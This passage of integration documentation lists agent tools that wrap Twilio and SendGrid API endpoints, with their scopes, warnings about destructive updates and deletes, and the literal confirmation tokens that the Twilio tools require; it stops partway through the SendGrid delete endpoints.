flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/unassign-numbers-bundle-item. Scopes: twilio_delete. twilio_update_address (write, destructive) — DESTRUCTIVE — Update address — Changes an address numbers and bundles may depend on; an address that fails re-validation can block a number from being provisioned or kept. Requires confirm="change-this-address": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-address. Scopes: twilio_write. twilio_update_content_template (write, destructive) — DESTRUCTIVE — replace a content template's body. Twilio's update is a REPLACE, not a patch: every field not supplied is cleared. And the template is not inert — if it is approved and a live Messaging Service references it, the next business-initiated message on that channel carries the NEW body, to real people, with no further review. Requires confirm=true. Read the current template with twilio_get_content_template, apply your edit to the whole body, and send it back. POST /api/v1/tools/twilio/content-template/update. Scopes: twilio_write. twilio_update_conversation (write, destructive) — DESTRUCTIVE — Update conversation — Changes a live thread's state, timers or friendly name. Setting state to `closed` stops participants messaging in it. Requires confirm="change-this-conversation-update": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversation. Scopes: twilio_write. twilio_update_conversation_message (write, destructive) — DESTRUCTIVE — Update conversation message — Rewrites the stored body of a message participants may already have received, leaving a record that does not match what was delivered. Requires confirm="rewrite-this-delivered-message-update-conversation": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversation-message. Scopes: twilio_write. twilio_update_conversations_address_configuration (write, destructive) — DESTRUCTIVE — Update conversations address configuration — Changes where inbound messages to one of the account's addresses are routed. Requires confirm="change-inbound-address-routing": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-address-configuration. Scopes: twilio_write. twilio_update_conversations_configuration (write, destructive) — DESTRUCTIVE — Update conversations configuration — Changes the ACCOUNT-WIDE defaults every new conversation inherits, including the default service and the inactive/closed timers. Requires confirm="change-account-wide-defaults": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-configuration. Scopes: twilio_write. twilio_update_conversations_role (write, destructive) — DESTRUCTIVE — Update conversations role — Changes what every user holding this role may do, immediately and for all of them. Requires confirm="change-what-this-role-permits-update-conversations": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-role. Scopes: twilio_write. twilio_update_conversations_service_configuration (write, destructive) — DESTRUCTIVE — Update conversations service configuration — The service-scoped form of the account-wide defaults. Requires confirm="change-service-wide-defaults": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-service-configuration. Scopes: twilio_write. twilio_update_conversations_service_conversation (write, destructive) — DESTRUCTIVE — Update conversations service conversation — The service-scoped form of the same operation. Requires confirm="change-this-conversation-update-conversations-service": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-service-conversation. Scopes: twilio_write. twilio_update_conversations_service_message (write, destructive) — DESTRUCTIVE — Update conversations service message — The service-scoped form of the same operation. Requires confirm="rewrite-this-delivered-message-update-conversations-service": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-service-message. Scopes: twilio_write. twilio_update_conversations_service_notification (write, destructive) — DESTRUCTIVE — Update conversations service notification — Changes which events push a notification to the service's users. Requires confirm="change-push-notification-settings": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-service-notification. Scopes: twilio_write. twilio_update_conversations_service_role (write, destructive) — DESTRUCTIVE — Update conversations service role — The service-scoped form of the same operation. Requires confirm="change-what-this-role-permits-update-conversations-service": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-service-role. Scopes: twilio_write. twilio_update_conversations_service_user (write, destructive) — DESTRUCTIVE — Update conversations service user — The service-scoped form of the same operation. Requires confirm="change-this-user-update-conversations-service": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-service-user. Scopes: twilio_write. twilio_update_conversations_service_user_conversation (write, destructive) — DESTRUCTIVE — Update conversations service user conversation — The service-scoped form of the same operation. Requires confirm="change-this-user-conversation-update-conversations-service": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-service-user-conversation. Scopes: twilio_write. twilio_update_conversations_user (write, destructive) — DESTRUCTIVE — Update conversations user — Changes a user's friendly name, attributes or role. Requires confirm="change-this-user-update-conversations": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-user. Scopes: twilio_write. twilio_update_conversations_user_conversation (write, destructive) — DESTRUCTIVE — Update conversations user conversation — Changes one user's participation state in one conversation — notification level, last-read message. Requires confirm="change-this-user-conversation-update-conversations": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-user-conversation. Scopes: twilio_write. twilio_update_conversations_v2_configuration (write) — DESTRUCTIVE — Update conversations v2 configuration — A PUT: every field not supplied is cleared, and the configuration governs conversations already running under it. Requires confirm="replace-this-v2-configuration": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-v2-configuration. Scopes: twilio_write. twilio_update_conversations_v2_conversation (write) — DESTRUCTIVE — Update conversations v2 conversation — A PUT: unsupplied fields are cleared. Requires confirm="replace-this-v2-conversation": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-conversations-v2-conversation. Scopes: twilio_write. twilio_update_intelligence_operator (write) — DESTRUCTIVE — Update intelligence operator — Changes what an operator extracts. If it is attached, every future transcript is processed by the new version. Requires confirm="change-this-extraction-operator": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-intelligence-operator. Scopes: twilio_write. twilio_update_intelligence_service (write) — DESTRUCTIVE — Update intelligence service — Changes settings that apply to every transcript the service processes from now on. Requires confirm="change-live-intelligence-settings": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-intelligence-service. Scopes: twilio_write. twilio_update_intelligence_v3_configuration (write) — DESTRUCTIVE — Update intelligence v3 configuration — Twilio's verb is PUT, so every field not supplied is cleared. Requires confirm="replace-this-intelligence-configuration": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-intelligence-v3-configuration. Scopes: twilio_write. twilio_update_intelligence_v3_operator (write) — DESTRUCTIVE — Update intelligence v3 operator — A PUT: unsupplied fields are cleared. Requires confirm="replace-this-v3-operator": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-intelligence-v3-operator. Scopes: twilio_write. twilio_update_knowledge_source (write) — DESTRUCTIVE — Update knowledge source — Twilio's verb here is PUT, so every field not supplied is cleared, and the corpus is re-embedded. Same source-type restriction as the create. Requires confirm="replace-this-knowledge-source": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-knowledge-source. Scopes: twilio_write. twilio_update_knowledge_v2_base (write) — DESTRUCTIVE — Update knowledge v2 base — Applies to every source in it. Requires confirm="change-this-knowledge-base": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-knowledge-v2-base. Scopes: twilio_write. twilio_update_knowledge_v2_source (write) — DESTRUCTIVE — Update knowledge v2 source — Same source-type restriction as the create; the corpus is re-embedded. Requires confirm="replace-this-knowledge-v2-source": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-knowledge-v2-source. Scopes: twilio_write. twilio_update_lookup_override (write, destructive) — DESTRUCTIVE — Update lookup override — REPLACES the override. Twilio's verb here is PUT, so every field not supplied is cleared. Requires confirm="replace-this-lookup-override": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-lookup-override. Scopes: twilio_write. twilio_update_lookup_rate_limit (write, destructive) — DESTRUCTIVE — Update lookup rate limit — Changes the ceiling on how many PAID lookups a bucket permits. Raising it raises what the account can spend on Lookup data packages; the new maximum is a required argument. DELETING the ceiling is deliberately not exposed. Requires confirm="change-this-paid-lookup-ceiling": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-lookup-rate-limit. Scopes: twilio_write. twilio_update_memory_conversation_summary (write) — DESTRUCTIVE — Update memory conversation summary — Rewrites a stored summary of a real conversation. Requires confirm="rewrite-this-conversation-summary": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-memory-conversation-summary. Scopes: twilio_write. twilio_update_memory_data_mapping (write) — DESTRUCTIVE — Update memory data mapping — Changes where incoming data lands. Every future write through this mapping goes somewhere new. Requires confirm="change-this-data-mapping": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-memory-data-mapping. Scopes: twilio_write. twilio_update_memory_observation (write) — DESTRUCTIVE — Update memory observation — Rewrites a recorded observation; the previous value survives only in the revision list. Requires confirm="rewrite-this-observation": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-memory-observation. Scopes: twilio_write. twilio_update_memory_profile_identifier (write) — DESTRUCTIVE — Update memory profile identifier — Changes an identifier a live system matches on. A wrong value silently attaches one person's history to another. Requires confirm="change-how-this-person-is-recognised": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-memory-profile-identifier. Scopes: twilio_write. twilio_update_memory_profile_traits (write) — DESTRUCTIVE — Update memory profile traits — Changes recorded facts about a real person. Requires confirm="change-this-persons-traits": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-memory-profile-traits. Scopes: twilio_write. twilio_update_memory_profiles_bulk (write) — DESTRUCTIVE — Update memory profiles bulk — Overwrites MANY profiles in one call. Bounded by the payload the caller sends — the profiles named are the profiles changed — but a mistake here is a mistake repeated across every one of them. Requires confirm="bulk-overwrite-these-profiles": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-memory-profiles-bulk. Scopes: twilio_write. twilio_update_memory_store (write) — DESTRUCTIVE — Update memory store — Changes a live store's settings, which apply to every profile already in it. Requires confirm="change-memory-store-settings": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-memory-store. Scopes: twilio_write. twilio_update_memory_trait_group (write) — DESTRUCTIVE — Update memory trait group — Applies to every profile carrying the group. Requires confirm="change-this-trait-group": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-memory-trait-group. Scopes: twilio_write. twilio_update_messaging_service (write) — DESTRUCTIVE — Update messaging service — Changes sticky sender, area-code geomatch, smart encoding and validity period for a service that may be carrying live traffic. Webhook parameters are not accepted, for the same reason as the create. Requires confirm="change-live-messaging-service-settings": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-messaging-service. Scopes: twilio_write. twilio_update_messaging_v2_channel_sender (write) — DESTRUCTIVE — Update messaging v2 channel sender — Changes a live channel sender's profile — the name and details recipients see. Requires confirm="change-this-v2-channel-sender": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-messaging-v2-channel-sender. Scopes: twilio_write. twilio_update_numbers_bundle (write) — DESTRUCTIVE — Update numbers bundle — Changes a draft bundle's name or notification email. It CANNOT change `Status`: this endpoint's status field is what submits the bundle to a national regulator, which is a legal filing an agent cannot make, so the parameter is not declared and a caller supplying it is refused by name. The StatusCallback URL is not accepted either. Requires confirm="change-this-draft-bundle": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-numbers-bundle. Scopes: twilio_write. twilio_update_numbers_caller_id (write) — DESTRUCTIVE — Update numbers caller id — Renames a caller ID that is already verified. VERIFYING a new one places an unsolicited call or SMS to a number the account does not own and is deliberately not exposed. Requires confirm="rename-this-verified-caller-id": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-numbers-caller-id. Scopes: twilio_write. twilio_update_numbers_end_user (write) — DESTRUCTIVE — Update numbers end user — Changes identity details a regulator may already have approved. A bundle referencing it can fail its next evaluation. Requires confirm="change-this-end-user-record": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-numbers-end-user. Scopes: twilio_write. twilio_update_numbers_supporting_document (write) — DESTRUCTIVE — Update numbers supporting document — Changes document metadata a regulator may already have approved. Requires confirm="change-this-supporting-document": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-numbers-supporting-document. Scopes: twilio_write. twilio_update_queue (write, destructive) — DESTRUCTIVE — Update queue — Changes a live queue's name or maximum size; lowering the maximum below the current depth stops new calls entering. Requires confirm="change-this-queue": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-queue. Scopes: twilio_write. twilio_update_sip_credential_list (write) — DESTRUCTIVE — Update SIP credential list — Renames a list a live SIP domain may reference. Requires confirm="rename-this-credential-list": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-sip-credential-list. Scopes: twilio_write. twilio_update_sip_ip_access_control_list (write) — DESTRUCTIVE — Update SIP IP access control list — Renames a list a live SIP domain may reference. Requires confirm="rename-this-ip-access-control-list": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-sip-ip-access-control-list. Scopes: twilio_write. twilio_update_sip_ip_address (write) — DESTRUCTIVE — Update SIP IP address — Changes an authorised range. Same consideration as adding one, in both directions: narrowing it can stop a working SIP trunk. Requires confirm="change-which-ips-may-place-billed-calls": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-sip-ip-address. Scopes: twilio_write. twilio_update_sync_document (write, destructive) — DESTRUCTIVE — Update sync document — REPLACES the document's data wholesale; Twilio does not merge. Read it with twilio_get_sync_document first and send the whole object back. Requires confirm="replace-document-data": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-sync-document. Scopes: twilio_write. twilio_update_sync_list (write, destructive) — DESTRUCTIVE — Update sync list — Changes the list's TTL. An expired list and its items are removed by Twilio. Requires confirm="change-list-settings": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-sync-list. Scopes: twilio_write. twilio_update_sync_list_item (write, destructive) — DESTRUCTIVE — Update sync list item — REPLACES the item's data wholesale. Requires confirm="replace-list-item-data": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-sync-list-item. Scopes: twilio_write. twilio_update_sync_map (write, destructive) — DESTRUCTIVE — Update sync map — Changes the map's TTL. Requires confirm="change-map-settings": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-sync-map. Scopes: twilio_write. twilio_update_sync_map_item (write, destructive) — DESTRUCTIVE — Update sync map item — REPLACES the item's data wholesale. Requires confirm="replace-map-item-data": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-sync-map-item. Scopes: twilio_write. twilio_update_sync_service (write, destructive) — DESTRUCTIVE — Update sync service — Changes a live Sync Service's ACL and reachability settings, which take effect for every client already connected to it. Requires confirm="change-sync-service-settings": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-sync-service. Scopes: twilio_write. twilio_update_sync_stream (write, destructive) — DESTRUCTIVE — Update sync stream — Changes the stream's TTL. Requires confirm="change-stream-settings": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-sync-stream. Scopes: twilio_write. twilio_update_taskrouter_activity (write, destructive) — DESTRUCTIVE — Update taskrouter activity — Renames an activity workers are currently in. Requires confirm="rename-this-activity": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-taskrouter-activity. Scopes: twilio_write. twilio_update_taskrouter_task (write, destructive) — DESTRUCTIVE — Update taskrouter task — Reprioritises, reassigns or cancels a task that may already be reserved for a worker. Requires confirm="change-this-live-task": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-taskrouter-task. Scopes: twilio_write. twilio_update_taskrouter_task_channel (write, destructive) — DESTRUCTIVE — Update taskrouter task channel — Changes how capacity is counted for every worker on this channel. Requires confirm="change-this-task-channel": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-taskrouter-task-channel. Scopes: twilio_write. twilio_update_taskrouter_task_queue (write, destructive) — DESTRUCTIVE — Update taskrouter task queue — Changes which workers a live queue targets and how it reserves them. Requires confirm="change-who-this-queue-targets": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-taskrouter-task-queue. Scopes: twilio_write. twilio_update_taskrouter_task_reservation (write, destructive) — DESTRUCTIVE — Update taskrouter task reservation — Accepts, rejects or completes a reservation — the moment a specific worker is or is not given a specific piece of work. Requires confirm="change-this-reservation-update-taskrouter-task": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-taskrouter-task-reservation. Scopes: twilio_write. twilio_update_taskrouter_worker (write, destructive) — DESTRUCTIVE — Update taskrouter worker — Changes a live worker's activity or attributes — this is how a person is made available or unavailable for work. Requires confirm="change-this-worker": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-taskrouter-worker. Scopes: twilio_write. twilio_update_taskrouter_worker_channel (write, destructive) — DESTRUCTIVE — Update taskrouter worker channel — Changes one worker's capacity on one channel, which decides how much work they are given. Requires confirm="change-this-workers-capacity": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-taskrouter-worker-channel. Scopes: twilio_write. twilio_update_taskrouter_worker_reservation (write, destructive) — DESTRUCTIVE — Update taskrouter worker reservation — The worker-scoped form of updating a reservation. Requires confirm="change-this-reservation-update-taskrouter-worker": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-taskrouter-worker-reservation. Scopes: twilio_write. twilio_update_taskrouter_workspace (write, destructive) — DESTRUCTIVE — Update taskrouter workspace — Changes a live workspace. Turning MultiTasking on or off changes how every worker's capacity is computed, for all traffic, immediately. Requires confirm="change-live-workspace-settings": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-taskrouter-workspace. Scopes: twilio_write. twilio_update_verify_messaging_configuration (write, destructive) — DESTRUCTIVE — Update verify messaging configuration — Changes which Messaging Service carries verification SMS for one country. Requires confirm="change-this-country-routing": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-verify-messaging-configuration. Scopes: twilio_write. twilio_update_verify_rate_limit (write, destructive) — DESTRUCTIVE — Update verify rate limit — Changes a live anti-fraud throttle's description. Its numeric ceiling lives on its buckets. Requires confirm="change-this-fraud-throttle": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-verify-rate-limit. Scopes: twilio_write. twilio_update_verify_rate_limit_bucket (write, destructive) — DESTRUCTIVE — Update verify rate limit bucket — Changes an anti-fraud ceiling. RAISING it widens the account's exposure to SMS pumping, which is billed to the customer; the new maximum is a required argument so the new ceiling is always explicit. DELETING a bucket — removing the ceiling entirely — is deliberately not exposed. Requires confirm="change-this-fraud-ceiling": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-verify-rate-limit-bucket. Scopes: twilio_write. twilio_update_verify_service (write, destructive) — DESTRUCTIVE — Update verify service — Changes code length, TTL, enabled channels and fraud settings for every verification the service performs from now on. Requires confirm="change-live-verify-settings": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/update-verify-service. Scopes: twilio_write. twilio_validate_event_sink (write) — Validate event sink — Completes the validation handshake for a webhook sink that already exists, using a validation code the sink's owner received. Takes no destination. POST /api/v1/tools/twilio/validate-event-sink. Scopes: twilio_write. ================================================================================ ## Twilio SendGrid URL: https://www.agenticfabriq.com/integrations/sendgrid Section: Integrated Tools Twilio SendGrid — 390 MCP tools Provider key: sendgrid. Scopes: access_settings.activity.read, access_settings.whitelist.create, access_settings.whitelist.delete, access_settings.whitelist.read, alerts.create, alerts.delete, alerts.read, alerts.update, api_keys.create, api_keys.delete, api_keys.read, api_keys.update, asm.groups.create, asm.groups.delete, asm.groups.read, asm.groups.suppressions.create, asm.groups.suppressions.delete, asm.groups.suppressions.read, asm.groups.update, asm.suppressions.global.create, asm.suppressions.global.delete, asm.suppressions.global.read, browsers.stats.read, categories.read, categories.stats.read, categories.stats.sums.read, clients.stats.read, design_library.create, design_library.delete, design_library.read, design_library.update, devices.stats.read, geo.stats.read, mail.batch.create, mail.batch.read, mail.send, mail_settings.address_whitelist.read, mail_settings.address_whitelist.update, mail_settings.bounce_purge.read, mail_settings.bounce_purge.update, mail_settings.footer.read, mail_settings.footer.update, mail_settings.forward_bounce.read, mail_settings.forward_bounce.update, mail_settings.forward_spam.read, mail_settings.forward_spam.update, mail_settings.read, mail_settings.template.read, mail_settings.template.update, mailbox_providers.stats.read, messages.read, partner_settings.read, recipients.erasejob.create, stats.read, subusers.stats.monthly.read, subusers.stats.read, subusers.stats.sums.read, suppression.blocks.delete, suppression.blocks.read, suppression.bounces.delete, suppression.bounces.read, suppression.invalid_emails.delete, suppression.invalid_emails.read, suppression.spam_reports.delete, suppression.spam_reports.read, suppression.unsubscribes.read, teammates.create, teammates.delete, teammates.read, teammates.update, templates.create, templates.delete, templates.read, templates.update, templates.versions.activate.create, templates.versions.create, templates.versions.delete, templates.versions.read, templates.versions.update, tracking_settings.click.read, tracking_settings.click.update, tracking_settings.google_analytics.read, tracking_settings.google_analytics.update, tracking_settings.open.read, tracking_settings.open.update, tracking_settings.read, tracking_settings.subscription.read, tracking_settings.subscription.update, user.account.read, user.credits.read, user.email.read, user.profile.read, user.profile.update, user.scheduled_sends.create, user.scheduled_sends.delete, user.scheduled_sends.read, user.scheduled_sends.update, user.settings.enforced_tls.read, user.settings.enforced_tls.update, user.username.read, user.webhooks.event.settings.create, user.webhooks.event.settings.delete, user.webhooks.event.settings.read, user.webhooks.event.settings.update, user.webhooks.event.test.create, user.webhooks.parse.settings.create, user.webhooks.parse.settings.delete, user.webhooks.parse.settings.read, user.webhooks.parse.settings.update, user.webhooks.parse.stats.read, whitelabel.create, whitelabel.delete, whitelabel.read, whitelabel.update. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. sendgrid_delete_v3_access_settings_whitelist (write, destructive) — Delete allowed ips via DELETE /v3/access_settings/whitelist DELETE /api/v1/sendgrid/v3/access_settings/whitelist. Scopes: access_settings.whitelist.delete. sendgrid_delete_v3_access_settings_whitelist_by_rule_id (write, destructive) — Delete allowed ip via DELETE /v3/access_settings/whitelist/{rule_id} DELETE /api/v1/sendgrid/v3/access_settings/whitelist/{rule_id}. Scopes: access_settings.whitelist.delete. sendgrid_delete_v3_alerts_by_alert_id (write, destructive) — Delete alert via DELETE /v3/alerts/{alert_id} DELETE /api/v1/sendgrid/v3/alerts/{alert_id}. Scopes: alerts.delete. sendgrid_delete_v3_api_keys_by_api_key_id (write, destructive) — Delete api key via DELETE /v3/api_keys/{api_key_id} DELETE /api/v1/sendgrid/v3/api_keys/{api_key_id}. Scopes: api_keys.delete. sendgrid_delete_v3_asm_groups_by_group_id (write, destructive) — Delete asm group via DELETE /v3/asm/groups/{group_id} DELETE /api/v1/sendgrid/v3/asm/groups/{group_id}. Scopes: asm.groups.delete. sendgrid_delete_v3_asm_groups_by_group_id_suppressions_by_email (write, destructive) — Delete suppression from asm group via DELETE /v3/asm/groups/{group_id}/suppressions/{email} DELETE /api/v1/sendgrid/v3/asm/groups/{group_id}/suppressions/{email}. Scopes: asm.groups.suppressions.delete. sendgrid_delete_v3_asm_suppressions_global_by_email (write, destructive) — Delete global suppression via DELETE /v3/asm/suppressions/global/{email} DELETE /api/v1/sendgrid/v3/asm/suppressions/global/{email}. Scopes: asm.suppressions.global.delete. sendgrid_delete_v3_campaigns_by_campaign_id (write, destructive) — Delete campaign via DELETE /v3/campaigns/{campaign_id} DELETE /api/v1/sendgrid/v3/campaigns/{campaign_id}. Scopes: none. sendgrid_delete_v3_campaigns_by_campaign_id_schedules (write, destructive) — Un schedule campaign via DELETE /v3/campaigns/{campaign_id}/schedules DELETE /api/v1/sendgrid/v3/campaigns/{campaign_id}/schedules. Scopes: none. sendgrid_delete_v3_contactdb_custom_fields_by_custom_field_id (write, destructive) — Delete custom field via DELETE /v3/contactdb/custom_fields/{custom_field_id} DELETE /api/v1/sendgrid/v3/contactdb/custom_fields/{custom_field_id}. Scopes: none. sendgrid_delete_v3_contactdb_lists (write, destructive) — Delete contact db lists via DELETE /v3/contactdb/lists DELETE /api/v1/sendgrid/v3/contactdb/lists. Scopes: none. sendgrid_delete_v3_contactdb_lists_by_list_id (write, destructive) — Delete contact db list via DELETE /v3/contactdb/lists/{list_id} DELETE /api/v1/sendgrid/v3/contactdb/lists/{list_id}. Scopes: none. sendgrid_delete_v3_contactdb_lists_by_list_id_recipients_by_recipient_id (write, destructive) — Delete recipient from contact db list via DELETE /v3/contactdb/lists/{list_id}/recipients/{recipient_id} DELETE /api/v1/sendgrid/v3/contactdb/lists/{list_id}/recipients/{recipient_id}. Scopes: none. sendgrid_delete_v3_contactdb_recipients (write, destructive) — Delete recipients via DELETE /v3/contactdb/recipients DELETE /api/v1/sendgrid/v3/contactdb/recipients. Scopes: none. sendgrid_delete_v3_contactdb_recipients_by_recipient_id (write, destructive) — Delete recipient via DELETE /v3/contactdb/recipients/{recipient_id} DELETE /api/v1/sendgrid/v3/contactdb/recipients/{recipient_id}. Scopes: none. sendgrid_delete_v3_contactdb_segments_by_segment_id (write, destructive) — Delete segment via DELETE /v3/contactdb/segments/{segment_id} DELETE /api/v1/sendgrid/v3/contactdb/segments/{segment_id}. Scopes: none. sendgrid_delete_v3_designs_by_id (write, destructive) — Delete design via DELETE /v3/designs/{id} DELETE /api/v1/sendgrid/v3/designs/{id}. Scopes: design_library.delete. sendgrid_delete_v3_ips_pools_by_pool_name (write, destructive) — Delete ip pool via DELETE /v3/ips/pools/{pool_name} DELETE /api/v1/sendgrid/v3/ips/pools/{pool_name}. Scopes: none. sendgrid_delete_v3_ips_pools_by_pool_name_ips_by_ip (write, destructive) — Delete ip from ip pool via DELETE /v3/ips/pools/{pool_name}/ips/{ip} DELETE /api/v1/sendgrid/v3/ips/pools/{pool_name}/ips/{ip}. Scopes: none. sendgrid_delete_v3_ips_warmup_by_ip_address (write, destructive) — Stop ip warm up via DELETE /v3/ips/warmup/{ip_address} DELETE /api/v1/sendgrid/v3/ips/warmup/{ip_address}. Scopes: none. sendgrid_delete_v3_marketing_contacts (write, destructive) — Delete contact via DELETE /v3/marketing/contacts DELETE /api/v1/sendgrid/v3/marketing/contacts. Scopes: none. sendgrid_delete_v3_marketing_contacts_by_contact_id_identifiers (write, destructive) — Delete contact identifier via DELETE /v3/marketing/contacts/{contact_id}/identifiers DELETE /api/v1/sendgrid/v3/marketing/contacts/{contact_id}/identifiers. Scopes: none. sendgrid_delete_v3_marketing_field_definitions_by_custom_field_id (write, destructive) — Delete field definition via DELETE /v3/marketing/field_definitions/{custom_field_id} DELETE /api/v1/sendgrid/v3/marketing/field_definitions/{custom_field_id}. Scopes: none. sendgrid_delete_v3_marketing_integrations (write, destructive) — Delete integration via DELETE /v3/marketing/integrations DELETE /api/v1/sendgrid/v3/marketing/integrations. Scopes: none. sendgrid_delete_v3_marketing_lists_by_id (write, destructive) — Delete marketing list via DELETE /v3/marketing/lists/{id} DELETE /api/v1/sendgrid/v3/marketing/lists/{id}. Scopes: none. sendgrid_delete_v3_marketing_lists_by_id_contacts (write, destructive) — Delete contact via DELETE /v3/marketing/lists/{id}/contacts DELETE /api/v1/sendgrid/v3/marketing/lists/{id}/contacts. Scopes: none. sendgrid_delete_v3_marketing_segments_2_0_by_segment_id (write, destructive) — Delete segment via DELETE /v3/marketing/segments/2.0/{segment_id} DELETE /api/v1/sendgrid/v3/marketing/segments/2.0/{segment_id}. Scopes: none. sendgrid_delete_v3_marketing_segments_by_segment_id (write, destructive) — Delete segment via DELETE /v3/marketing/segments/{segment_id} DELETE /api/v1/sendgrid/v3/marketing/segments/{segment_id}. Scopes: none. sendgrid_delete_v3_marketing_senders_by_id (write, destructive) — Delete sender via DELETE /v3/marketing/senders/{id} DELETE /api/v1/sendgrid/v3/marketing/senders/{id}. Scopes: none. sendgrid_delete_v3_marketing_singlesends (write, destructive) — Delete single sends via DELETE /v3/marketing/singlesends DELETE /api/v1/sendgrid/v3/marketing/singlesends. Scopes: none. sendgrid_delete_v3_marketing_singlesends_by_id (write, destructive) — Delete single send via DELETE /v3/marketing/singlesends/{id} DELETE /api/v1/sendgrid/v3/marketing/singlesends/{id}. Scopes: none. sendgrid_delete_v3_marketing_singlesends_by_id_schedule (write, destructive) — Delete scheduled single send via DELETE 